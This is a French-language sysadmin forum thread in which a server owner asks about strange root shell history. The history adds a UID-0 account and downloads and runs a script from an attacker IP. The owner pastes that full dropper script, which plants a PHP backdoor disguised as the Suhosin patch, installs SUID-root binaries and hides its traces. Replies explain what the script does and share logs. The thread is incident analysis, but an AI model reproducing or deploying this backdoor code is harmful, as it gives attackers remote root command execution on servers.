5 votes

Ensemble bizarre de commandes Shell dans le .bash_history de root

Je viens probablement de détecter qu'un utilisateur d'un de mes serveurs a enraciné mon serveur, mais ce n'est pas ce que je demande.

Est-ce que quelqu'un a déjà vu des commandes comme celles-ci :

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

Il me semble que c'est l'œuvre d'un script automatisé, mais je ne suis pas sûr duquel.

Quelqu'un a-t-il une idée à ce sujet ?

Le système d'exploitation est Debian Lenny, noyau 2.6.30-bpo.2-686-bigmem (si c'est important).

Au fait, le lien dans le code ci-dessus est masqué, si quelqu'un veut le code qui est téléchargé, j'en ai fait une copie, pour analyse, donc je peux le fournir sur demande.

Edit : Je joins le contenu du .sh script, à titre de référence, si cela intéresse quelqu'un.

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
do
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <sterling@php.net>
* @author     Stig Bakken <ssb@php.net>
* @author     Tomas V.V.Cox <cox@idecnet.com>
* @author     Greg Beaver <cellog@php.net>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
    for(\$i=0;\$i<\$len;\$i++)
    {
        \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
    }

    return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
    {
        if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
            {
                \$data=base64_decode(\$_POST['suhosindata']);
                \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

                if(\$_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                }
                else if(\$_POST['suhosinaction']=="command")
                {
                    system(\$data);
                    print("SUHOSIN CMD\n");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
    echo "[*] restarting $ctl"
    `\$ctl restart`
done
rm $0

Intéressant.

7voto

Priyan R Points 687

Intéressant, en effet.

Je n'ai jamais vu cette chose avant, mais en regardant les suhosin14.sh script, c'est le mal. Il modifie tous les php.ini qu'il peut trouver sur le système, dans l'espoir de faire en sorte que PHP ajoute du code à la volée dans chaque page Web rendue par PHP (par l'intermédiaire de auto_prepend_file ). suhosin14.sh télécharge et installe également une paire de modules SUID-root, vraisemblablement pour que son code PHP soit exécuté avec les privilèges de l'administrateur.

Le script PHP ajouté au début ( suhosin.php ) contient un en-tête de commentaire qui fait croire qu'il fait partie du correctif de sécurité Suhosin pour PHP, mais ce n'est certainement pas le cas. Au lieu de cela, le script surveille des requêtes HTTP POST particulières contenant des commandes obfusquées par XOR, qu'il désobfusque ensuite et exécute (probablement avec root privilèges, grâce aux modules SUID-root).

Si cette chose a été exécutée sur votre système, alors il est probablement enraciné. Défaire ce que le suhosin14.sh l'installateur a fait [spécifiquement : enlever le PHP prepend-script suhosin.php supprimer les modules SUID-root suhosin32.so y suhosin64.so et de restaurer votre php.ini fichier(s)] n'est probablement pas suffisant pour assurer la sécurité, car quelqu'un a dû obtenir root pour réussir à exécuter le programme d'installation en premier lieu. En outre, les commandes ultérieures envoyées à distance par le biais de PHP prepend-script auraient pu facilement installer un certain nombre de rootkits ou d'autres portes dérobées.

Je ne peux pas vous suggérer grand-chose d'autre, si ce n'est de vérifier dans vos journaux Apache s'il y a des requêtes POST vers des pages qui ne devraient normalement pas en recevoir : il s'agit probablement de commandes à distance envoyées à votre système. Malheureusement, les journaux ne vous diront pas quelles commandes ont été exécutées, mais vous pourrez obtenir d'autres informations utiles, comme les adresses IP et les horodatages.

0voto

Joel Points 152

Cela m'est également arrivé il y a quelques jours. Utilisez-vous par hasard Drupal ou Wordpress ? Je suis curieux de savoir si cela peut être dû à une vulnérabilité de l'un ou l'autre de ces CMS. Cela s'est produit trois fois maintenant et j'ai pris quelques précautions de sécurité, mais ils semblent toujours être en mesure d'ajouter le prépas suhosin à notre fichier php.ini. C'est très ennuyeux, c'est le moins qu'on puisse dire. Toute information supplémentaire sur les causes ou les solutions possibles serait très appréciée.

Merci, Joseph

0voto

Dave Myeers Points 11

Wow, c'est incroyable, il m'est arrivé exactement la même chose jeudi et ils ont cassé tout mon serveur. Je ne sais toujours pas ce que je dois réparer. Quelqu'un peut-il me le dire ?

J'ai trouvé quelques éléments intéressants à ce sujet dans mes fichiers journaux. Je sais donc que quelqu'un s'y est connecté et a téléchargé un fichier sur le serveur, ce qui est assez étonnant. J'ai même trouvé la même IP que celle que vous avez postée avant.

--2010-11-25 23:16:18-- http://178.17.163.181/cbsdx Connexion à 178.17.163.181:80... connecté. Requête HTTP envoyée, en attente de réponse... 200 OK Longueur : 8506 (8.3K) [text/plain] Enregistré sur : cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) - cbsdx' sauvé [8506/8506] [Thu Nov 25 23:17:41 2010] [notice] SIGHUP reçu. Tentative de redémarrage

Très intéressant est certainement votre commentaire sur useradd car j'avais une ligne disant :

Nov 25 23:16:24 s15398462 useradd[7815] : nouvel utilisateur : name=aspnet, UID=0, GID=0, home=/home/aspnet, Shell=/bin/bash

I

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

X